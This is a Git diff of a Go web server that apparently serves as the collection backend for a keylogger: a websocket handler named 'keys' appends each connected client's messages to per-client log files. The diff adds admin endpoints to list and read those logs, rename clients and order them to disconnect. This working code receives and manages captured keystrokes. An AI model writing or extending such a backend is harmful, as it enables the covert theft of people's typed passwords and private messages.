|
||||||
|
}
|
||||||
|
|
||||||
|
filenames := []string{}
|
||||||
|
for _, file := range files {
|
||||||
|
if LogRegex.MatchString(file.Name()) {
|
||||||
|
filenames = append(filenames, file.Name())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return c.JSONPretty(http.StatusOK, filenames, indent)
|
||||||
|
}))
|
||||||
|
|
||||||
|
app.GET("/admin/logs/:id", authed(idparam(func(c echo.Context, id uuid.UUID) error {
|
||||||
|
date := c.QueryParam("date")
|
||||||
|
if date == "" {
|
||||||
|
date = time.Now().Format(DateFormat)
|
||||||
|
}
|
||||||
|
|
||||||
|
skipRaw := c.QueryParam("skip")
|
||||||
|
skip := 0
|
||||||
|
if skipRaw != "" {
|
||||||
|
skip, err = strconv.Atoi(skipRaw)
|
||||||
|
if err != nil {
|
||||||
|
return c.JSON(http.StatusBadRequest, echo.Map{"message": "skip is not a number"})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
takeRaw := c.QueryParam("take")
|
||||||
|
take := 1024
|
||||||
|
if takeRaw != "" {
|
||||||
|
take, err = strconv.Atoi(takeRaw)
|
||||||
|
if err != nil {
|
||||||
|
return c.JSON(http.StatusBadRequest, echo.Map{"message": "take is not a number"})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
f, err := os.OpenFile(filename(dataDir, id.String(), date), syscall.O_RDONLY, 0644)
|
||||||
|
if err != nil {
|
||||||
|
return c.JSON(http.StatusNotFound, echo.Map{"message": "file not found"})
|
||||||
|
}
|
||||||
|
|
||||||
|
if skip != 0 {
|
||||||
|
_, err = f.Seek(int64(skip), io.SeekStart)
|
||||||
|
if err != nil {
|
||||||
|
log.Error(err)
|
||||||
|
return c.NoContent(http.StatusInternalServerError)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
bytes := make([]byte, take)
|
||||||
|
n, err := f.Read(bytes)
|
||||||
|
if err != nil {
|
||||||
|
log.Error(err)
|
||||||
|
return c.NoContent(http.StatusInternalServerError)
|
||||||
|
}
|
||||||
|
|
||||||
|
return c.JSONPretty(http.StatusOK, string(bytes[:n]), indent)
|
||||||
|
})))
|
||||||
|
|
||||||
|
app.POST("/admin/name/:id", authed(idparam(func(c echo.Context, id uuid.UUID) error {
|
||||||
|
name := c.QueryParam("name")
|
||||||
|
if name == "" {
|
||||||
|
return c.JSON(http.StatusBadRequest, "missing field 'name'")
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, client := range clients {
|
for _, client := range clients {
|
||||||
if client.ID == data.ID {
|
if client.ID == id {
|
||||||
client.Exit = true
|
client.Name = name
|
||||||
|
client.UpdatedAt = time.Now()
|
||||||
return c.JSON(http.StatusOK, echo.Map{"message": "ok"})
|
return c.JSON(http.StatusOK, echo.Map{"message": "ok"})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return c.JSON(http.StatusNotFound, echo.Map{"message": "not found"})
|
return c.JSON(http.StatusNotFound, echo.Map{"message": "not found"})
|
||||||
})
|
})))
|
||||||
|
|
||||||
|
app.POST("/admin/exit/:id", authed(idparam(func(c echo.Context, id uuid.UUID) error {
|
||||||
|
for _, client := range clients {
|
||||||
|
if client.ID == id {
|
||||||
|
client.ExitWanted = true
|
||||||
|
return c.JSON(http.StatusOK, echo.Map{"message": "ok"})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return c.JSON(http.StatusNotFound, echo.Map{"message": "not found"})
|
||||||
|
})))
|
||||||
|
|
||||||
log.Fatal(app.Start(":8080"))
|
log.Fatal(app.Start(":8080"))
|
||||||
}
|
}
|
||||||
@@ -135,29 +266,40 @@ func keys(c echo.Context) error {
|
|||||||
ws, err := upgrader.Upgrade(c.Response(), c.Request(), nil)
|
ws, err := upgrader.Upgrade(c.Response(), c.Request(), nil)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return err
|
return err
|
||||||
|
|
||||||
}
|
}
|
||||||
defer ws.Close()
|
defer ws.Close()
|
||||||
|
|
||||||
|
now := time.Now()
|
||||||
client := Client{
|
client := Client{
|
||||||
ID: id,
|
ID: uuid.New(),
|
||||||
conn: ws,
|
Name: "Dummy",
|
||||||
Exit: false,
|
Connected: true,
|
||||||
|
ConnectedAt: now,
|
||||||
|
DisconnectedAt: now,
|
||||||
|
CreatedAt: now,
|
||||||
|
UpdatedAt: now,
|
||||||
|
ExitWanted: false,
|
||||||
|
conn: ws,
|
||||||
}
|
}
|
||||||
|
|
||||||
clients = append(clients, &client)
|
clients = append(clients, &client)
|
||||||
id += 1
|
fmt.Printf("%s client %s connected\n", time.Now().Format(TimeFormat), client.ID.String())
|
||||||
fmt.Printf("%s client %-3d connected\n", time.Now().Format(TimeFormat), client.ID)
|
|
||||||
|
|
||||||
err = ws.WriteMessage(websocket.TextMessage, []byte("welcome"))
|
err = ws.WriteMessage(websocket.TextMessage, []byte("welcome"))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Error(err)
|
log.Error(err)
|
||||||
}
|
}
|
||||||
|
|
||||||
f, err := os.OpenFile(fmt.Sprintf("%s/%s_%d.txt", keyDir, time.Now().Format("2006-01-02_15-04"), client.ID), syscall.O_CREAT|syscall.O_APPEND|syscall.O_WRONLY, 0644)
|
f, err := os.OpenFile(filename(dataDir, client.ID.String(), now.Format(DateFormat)), syscall.O_CREAT|syscall.O_APPEND|syscall.O_WRONLY, 0644)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Error(err)
|
log.Error(err)
|
||||||
fmt.Printf("%s client %-3d crashed (couldn't open file)\n", time.Now().Format(TimeFormat), client.ID)
|
fmt.Printf("%s client %s crashed (couldn't open file)\n", time.Now().Format(TimeFormat), client.ID)
|
||||||
client.Exit = true
|
now = time.Now()
|
||||||
|
|
||||||
|
client.Connected = false
|
||||||
|
client.DisconnectedAt = now
|
||||||
|
client.UpdatedAt = now
|
||||||
|
|
||||||
return c.NoContent(http.StatusInternalServerError)
|
return c.NoContent(http.StatusInternalServerError)
|
||||||
}
|
}
|
||||||
defer f.Close()
|
defer f.Close()
|
||||||
@@ -165,13 +307,18 @@ func keys(c echo.Context) error {
|
|||||||
close := func() {
|
close := func() {
|
||||||
_ = ws.WriteMessage(websocket.CloseMessage, websocket.FormatCloseMessage(websocket.CloseNormalClosure, ""))
|
_ = ws.WriteMessage(websocket.CloseMessage, websocket.FormatCloseMessage(websocket.CloseNormalClosure, ""))
|
||||||
_ = ws.Close()
|
_ = ws.Close()
|
||||||
client.Exit = true
|
now = time.Now()
|
||||||
|
|
||||||
|
client.ExitWanted = true
|
||||||
|
client.Connected = false
|
||||||
|
client.DisconnectedAt = now
|
||||||
|
client.UpdatedAt = now
|
||||||
}
|
}
|
||||||
|
|
||||||
for {
|
for {
|
||||||
if client.Exit {
|
if client.ExitWanted {
|
||||||
close()
|
close()
|
||||||
fmt.Printf("%s client %-3d disconnected\n", time.Now().Format(TimeFormat), client.ID)
|
fmt.Printf("%s client %s disconnected\n", time.Now().Format(TimeFormat), client.ID.String())
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -179,18 +326,17 @@ func keys(c echo.Context) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
log.Error(err)
|
log.Error(err)
|
||||||
close()
|
close()
|
||||||
fmt.Printf("%s client %-3d crashed (websocket error)\n", time.Now().Format(TimeFormat), client.ID)
|
fmt.Printf("%s client %s crashed (websocket error)\n", time.Now().Format(TimeFormat), client.ID.String())
|
||||||
break
|
return c.NoContent(http.StatusInternalServerError)
|
||||||
}
|
}
|
||||||
|
|
||||||
_, err = f.Write(msg)
|
_, err = f.Write(msg)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Error(err)
|
log.Error(err)
|
||||||
close()
|
close()
|
||||||
fmt.Printf("%s client %-3d crashed (file write error)\n", time.Now().Format(TimeFormat), client.ID)
|
fmt.Printf("%s client %s crashed (file write error)\n", time.Now().Format(TimeFormat), client.ID.String())
|
||||||
break
|
return c.NoContent(http.StatusInternalServerError)
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return c.NoContent(http.StatusOK)
|
return c.NoContent(http.StatusOK)
|
||||||
|
Reference in New Issue
Block a user